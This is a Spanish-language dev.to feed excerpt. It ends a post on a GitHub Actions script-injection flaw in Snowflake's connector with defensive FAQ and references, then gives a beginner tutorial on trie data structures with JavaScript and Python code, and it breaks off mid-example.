&lt;p&gt;Buscá interpolaciones directas de ${{ github.event.* }} dentro de bloques run: con grep, o corré un linter como actionlint sobre tu carpeta .github/workflows. La alternativa segura es pasar el valor por una variable de env: y consumirlo como variable de entorno en el script.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es un ataque de inyección de script en GitHub Actions?
&lt;/h3&gt;

&lt;p&gt;Es cuando un valor controlado por un usuario externo (el título de un issue, un comentario, el nombre de una rama) se interpola como texto en un script de shell antes de ejecutarse, permitiendo que ese usuario inyecte comandos arbitrarios que corren con los permisos del runner.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Snowflake ya corrigió la vulnerabilidad?
&lt;/h3&gt;

&lt;p&gt;Sí. Snowflake parchó el workflow el mismo 23 de junio de 2026, restauró el patrón seguro con env: y jq --arg, y rotó la credencial de Jira expuesta.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.wiz.io/blog/red-agent-snowflake-copilot-cicd-bug" rel="noopener noreferrer"&gt;Wiz Research&lt;/a&gt;: publicación original con el walkthrough completo del hallazgo y la explotación.- &lt;a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" rel="noopener noreferrer"&gt;GitHub Docs&lt;/a&gt;: guía oficial de hardening de seguridad para GitHub Actions.- &lt;a href="https://github.com/snowflakedb/snowflake-connector-net" rel="noopener noreferrer"&gt;snowflakedb/snowflake-connector-net&lt;/a&gt;: repositorio oficial del conector afectado.- &lt;a href="https://github.com/rhysd/actionlint" rel="noopener noreferrer"&gt;rhysd/actionlint&lt;/a&gt;: linter estático de workflows de GitHub Actions usado para detectar interpolaciones inseguras.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Trie: el árbol de prefijos oculto tras el autocompletado</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Mon, 17 Aug 2026 16:12:39 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/trie-el-arbol-de-prefijos-oculto-tras-el-autocompletado-3li</link>
      <guid>https://dev.to/lu1tr0n/trie-el-arbol-de-prefijos-oculto-tras-el-autocompletado-3li</guid>
      <description>&lt;p&gt;Cuando escribís &lt;strong&gt;prog&lt;/strong&gt; en la paleta de comandos de VS Code y la lista se filtra al instante a program, progress y profile, no hay un hash table detrás: hay un &lt;strong&gt;trie&lt;/strong&gt;, un árbol que indexa palabras letra por letra en vez de resumir la palabra completa en un número.&lt;/p&gt;

&lt;p&gt;Un trie (del inglés retrieval, aunque casi todos lo pronuncian try) es la estructura detrás del autocompletado de tu IDE, del corrector ortográfico de tu teléfono y de las tablas de ruteo IP que deciden por dónde sale cada paquete en internet. Esta guía lo explica desde cero, con código funcional en JavaScript y Python.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Vas a entender cómo un trie indexa palabras letra por letra, sin usar hashing.- Vas a implementar un trie desde cero en JavaScript con insertar, buscar y prefijos.- Vas a construir un autocompletador real que devuelve sugerencias por prefijo en Python.- Vas a saber cuándo un trie gana a un hash table y cuándo pierde en memoria.- Vas a distinguir un trie de un radix tree (PATRICIA) y por qué existe la compresión de nodos.- Vas a identificar los errores más comunes al implementar un trie en producción.- Vas a poder explicar por qué el ruteo IP usa tries en vez de tablas hash.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué es un trie y por qué importa
&lt;/h2&gt;

&lt;p&gt;Un &lt;strong&gt;trie&lt;/strong&gt; es un árbol donde cada camino desde la raíz hasta un nodo representa un prefijo, y cada nodo marcado como fin de palabra representa una clave completa almacenada. La &lt;a href="https://en.wikipedia.org/wiki/Trie" rel="noopener noreferrer"&gt;definición formal de Wikipedia&lt;/a&gt; lo describe como un árbol de búsqueda ordenado que usa las claves como cadenas de texto, donde la posición de un nodo en el árbol define con qué clave está asociado. A diferencia de un árbol binario de búsqueda, en un trie no se compara la clave completa contra cada nodo: se avanza un carácter a la vez.&lt;/p&gt;

&lt;p&gt;La ventaja central es que la búsqueda no depende de cuántas palabras tenga el diccionario, depende solo de la longitud de la palabra buscada. Buscar casa en un trie con diez palabras o con diez millones de palabras toma el mismo número de pasos: cuatro, uno por cada letra. Esa propiedad, complejidad O(L) donde L es la longitud de la clave y no O(N) sobre el total de claves, es lo que hace al &lt;strong&gt;trie&lt;/strong&gt; ideal para autocompletado, correctores ortográficos y sistemas donde el prefijo importa más que la igualdad exacta.&lt;/p&gt;

&lt;p&gt;Un hash table, en cambio, resuelve bien la pregunta existe esta clave exacta, pero no responde eficientemente qué claves empiezan con este prefijo. Para eso tendrías que recorrer todas las claves del hash y filtrar una por una. Un trie responde esa segunda pregunta de forma nativa: te parás en el nodo del prefijo y recorrés todo lo que cuelga de ahí.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo funciona un trie por dentro
&lt;/h2&gt;

&lt;p&gt;Cada nodo de un trie tiene dos cosas: una colección de hijos, uno por cada carácter posible que puede seguir, y una marca booleana que indica si el camino hasta ese nodo forma una palabra completa. La raíz representa la cadena vacía. Insertar una palabra significa caminar carácter por carácter desde la raíz, creando nodos hijos cuando no existen, y marcar el último nodo como fin de palabra.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
    raiz(("raiz")) --&amp;gt; c["c"]
    c --&amp;gt; ca["a"]
    c --&amp;gt; cu["u"]
    ca --&amp;gt; car["r (car)"]
    car --&amp;gt; care["e (care)"]
    ca --&amp;gt; cat["t (cat)"]
    cu --&amp;gt; cup["p (cup)"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El diagrama anterior muestra un trie con car, care y cat, más cup. Fijate que car y care comparten el mismo camino hasta la r, y ahí se separan: care sigue con una e extra, car ya termina ahí, en un nodo marcado como fin de palabra. Ese compartir-hasta-donde-se-pueda es la esencia del trie: cuantas más palabras compartan prefijo, menos memoria extra necesita el árbol por cada palabra nueva.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
    A["Inicio: insertar palabra"] --&amp;gt; B["nodo = raiz"]
    B --&amp;gt; C{"Quedan letras en la palabra?"}
    C -- "si" --&amp;gt; D["tomar siguiente letra"]
    D --&amp;gt; E{"El nodo tiene hijo con esa letra?"}
    E -- "no" --&amp;gt; F["crear nodo hijo"]
    E -- "si" --&amp;gt; G["avanzar al nodo hijo"]
    F --&amp;gt; G
    G --&amp;gt; C
    C -- "no" --&amp;gt; H["marcar nodo actual como fin de palabra"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El algoritmo de inserción es siempre el mismo bucle: por cada carácter de la palabra, preguntar si el nodo actual ya tiene un hijo con ese carácter. Si no lo tiene, lo crea. Si lo tiene, avanza. Al llegar al final de la palabra, marca el nodo actual como fin de palabra. La búsqueda de una palabra completa hace exactamente el mismo recorrido, pero en vez de crear nodos, falla si un carácter no tiene el hijo correspondiente. La búsqueda de un prefijo es idéntica, salvo que no exige que el nodo final esté marcado como fin de palabra.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ejemplos prácticos: código progresivo
&lt;/h2&gt;

&lt;p&gt;El primer ejemplo implementa lo mínimo indispensable: insertar palabras y confirmar si una palabra existe. El segundo agrega la parte que realmente usás todos los días: sugerencias por prefijo, como el autocompletado de una barra de búsqueda.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TrieNode&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;esFinDePalabra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Trie&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raiz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TrieNode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;insertar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raiz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;letra&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TrieNode&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nx"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;esFinDePalabra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;buscar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raiz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;letra&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;esFinDePalabra&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;diccionario&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Trie&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;diccionario&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;casa&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;diccionario&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;caso&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diccionario&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;buscar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;casa&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diccionario&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;buscar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cas&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este trie usa un Map en vez de un array fijo de 26 posiciones, para no desperdiciar memoria si trabajás con acentos, ñ o unicode. buscar(cas) devuelve false porque cas nunca se marcó como fin de palabra, aunque el camino c-a-s sí existe en el árbol: esa es la clase de error que confunde a quien recién empieza con tries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;NodoTrie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hijos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fin_palabra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Autocompletador&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raiz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;NodoTrie&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;insertar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raiz&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letra&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hijos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;NodoTrie&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fin_palabra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_recolectar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefijo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resultados&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limite&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultados&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;limite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fin_palabra&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;resultados&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefijo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hijo&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hijos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_recolectar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hijo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefijo&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resultados&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sugerir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefijo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raiz&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letra&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;prefijo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;letra&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hijos&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
            &lt;span class="n"&gt;nodo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hijos&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;letra&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;resultados&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_recolectar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nodo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefijo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resultados&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;limite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resultados&lt;/span&gt;

&lt;span class="n"&gt;buscador&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Autocompletador&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;palabra&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pytest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pyplot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;java&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;javascript&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;buscador&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palabra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

